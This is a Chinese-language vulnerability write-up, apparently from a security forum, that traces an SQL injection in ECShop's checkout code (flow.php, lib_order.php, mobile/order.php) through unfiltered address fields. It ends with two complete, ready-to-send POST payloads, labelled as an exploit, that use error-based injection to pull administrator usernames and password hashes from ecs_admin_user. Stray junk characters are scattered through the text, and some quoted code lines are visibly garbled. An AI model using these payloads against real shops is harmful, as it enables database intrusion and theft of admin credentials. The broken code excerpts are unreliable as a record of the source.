ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
4 f& w$ x- y6 O: A; T& j1 l9 o. g+ }
+ t, S2 |0 i0 v4 y    漏洞关键文件：

- g4 m* h- z& u5 c1 U" J( m# W    /includes/lib_order.php

2 ?! X) U2 K) c. b9 x5 U  V' q9 Y    关键函数：

! s  I; C8 a6 X! I- G4 m5 [, G

01     function available_shipping_list($region_id_list)
# S; n% M6 k( P8 x
; S+ |# c  m4 v02 {

0 |. e* h3 S$ o03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
+ D5 S. l$ r- \+ O; {
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
$ h$ q  k/ w3 o3 S) J8 Z3 d1 ]
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
0 r0 ]3 F! V/ _/ ?/ b' g) I2 W
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   
& M2 t% G$ M2 g; a! }, X1 Q
11     return $GLOBALS['db']->getAll($sql);
6 X' y4 l  |5 H* R
1 V# a( X& o! @8 \12 }
: _7 T! l. Y) ?4 w' G
显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
2 j, d0 Y+ H. e 第531行：   

1 $shipping_list     = available_shipping_list($region);
* `# G5 z1 @: @


( Z9 ?% J+ D& V' u; I6 v& Q

' ]( f1 h  a' }4 O+ r# Z再对传入变量进行追踪：

第530行：   
# P2 Q( Z6 b8 }+ F$ U) H5 D
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

# j0 Y5 c! c* h# `( y



9 p$ R2 m5 [& {) f7 H第473行：        
9 r) ^8 x% ]% `& N4 R, f& x0 Q
1 $consignee = get_consignee($_SESSION['user_id']);
* y( q+ _) u" s
. w* b; \: x$ x# ?到了一个关键函数：

" v) w) _' c! @7 q0 w3 M/includes/lib_order.php

- v; y) Y, s/ W


& y# ^0 M) t" T
01 function get_consignee($user_id)
; H: [8 m+ p0 k) M; e! \
02 {
$ m3 i6 F4 q% z) p" `
+ I/ W4 \9 n. G% ~& P5 @  Z/ B03     if (isset($_SESSION['flow_consignee']))

" D" y( X1 I7 g1 K9 D8 J04     {

5 s; F, v+ i4 {05         /* 如果存在session，则直接返回session中的收货人信息 */
6 w8 d1 @: G8 X0 y3 q# I  g
06   

! d, y& S6 t5 ~07         return $_SESSION['flow_consignee'];

08     }

3 q0 e' X5 h7 z6 w9 K( ~& J09     else
0 q& N+ A' s8 ]7 }: `% l5 t
4 u9 ~6 Q5 D3 ]. @0 l  S10     {

5 ?. @  M% ]( Z; Z11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();
: M* l6 a. _5 F* k$ B1 }
4 C- P: b8 M* ^! {: u& {3 E0 F13   

14         if ($user_id > 0)
$ N- E# G1 s- J- Q( [* {! W
15         {

2 e; `# w& n. \5 W/ ~' W16             /* 取默认地址 */
- g, A  t' i! ?
17             $sql = "SELECT ua.*".

/ w* D3 z6 q. h8 v! C9 G" g18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
! c$ _0 W* G( c9 M- r2 Q
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

4 l5 H2 y8 O9 s' U4 X20   

21             $arr = $GLOBALS['db']->getRow($sql);
( |6 L! n2 t  ]/ E- g
22         }

/ [( m7 O8 S- p0 K23   
! I* S4 @! q" t1 I! y
24         return $arr;
& E3 W; c9 E3 X6 k, K
25     }

26 }

8 P; X& d: J3 h7 C显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
. X% p  i) _/ x7 V- I8 z& L% N


7 @  N8 ]2 l- i3 K+ L关键点:
% N3 w( d( g" X" ?, v% h
2 d  N; N5 f0 m6 c) D  |  w& z第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

- t! ?9 n+ k4 V. Y7 L* W! A0 I% v/ u2 j这里对传入参数反转义存入$_SESSION中。


, j$ e) }8 m/ S& ^0 x6 H
* x7 h/ `5 E) ]; ?7 l% a然后看下：


+ F$ c8 q! R3 Q
   
. \1 `( L4 n- A( S7 v5 w; w
01 $consignee = array(
$ u; i' Z6 a7 [3 c" R5 W
( G; p. S9 y" ]5 ~+ F02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

1 Q2 L; V1 i9 }; d" i; c' E04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
. m. Z4 Q- F. l2 _& Z* a  b
" n! G8 o) h" Z: `( W05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

5 g' j( c% Q1 U6 B3 V- _0 @4 l06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

* b3 t# k' H' ~( d! l0 J07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
- B0 ?& _; U) ]* U$ B2 B; G/ u; g
, z8 u) v' ?. k. n08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
$ E: z1 H; n2 B4 U1 ^
: y; i0 ?! d* U0 F: p09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

9 g" X. g5 {+ y10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

9 I& A, n. F, w11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
% v9 C, {: \9 }# J" }0 N9 ^0 w
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

8 x( v  O# j6 k15     );
7 j. n, n8 D! V6 x7 v& X! u2 A
8 n$ p/ X9 v7 u& L好了注入就这样出现了。

* b5 y' p9 [7 `' E2 c1 r==================

注入测试：

) D) _- w/ e! J' {9 \9 [% t环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
3 f$ v4 A" l: ?. t
  D, b- ~- k9 a5 N测试程序：ECShop_V2.7.3_UTF8_release1106
# n6 X$ [/ a: y8 r: N5 |

9 k! N5 D1 E; B# M3 B$ F
; q7 o) e& f& W! i! {1.首先需要点击一个商品加入购物车
7 i3 k5 @9 i4 h/ G$ P# W
2.注册一个会员帐号

3.post提交数据

5 ^7 W& o8 Y4 ?8 w/ L* ?
' U$ l( J( p) ~$ x8 F
# l2 e+ q$ k: l' b' L2 u4 Q, e3 `1 http://127.0.0.1/ecshop/flow.php

2   
0 _& B" S' R# `/ J# J7 e
6 c" Q2 a% \" f$ t& u3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
) S. ~1 F# U0 S+ L! A) M" k/ r
我们搜寻关键函数function available_shipping_list()

8 d# {5 l! C$ Y0 E4 e) X在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:
! J+ p# A8 L% b/ t& m, p) Z! U
5 B" w* b4 P/ F/ F7 q1.点击一个商品，点击购买商标
1 K+ I6 `( P7 Z
2.登录会员帐号

3.post提交：
+ s+ m. a8 T3 ]
http://127.0.0.1/ecshop/mobile/order.php



$ ?9 |5 B, E+ A" H3 b  O3 Qcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
5 k7 C" T, r1 \- \) u9 |0 O$ R
: A- z, [  ^1 E) J) B# N' i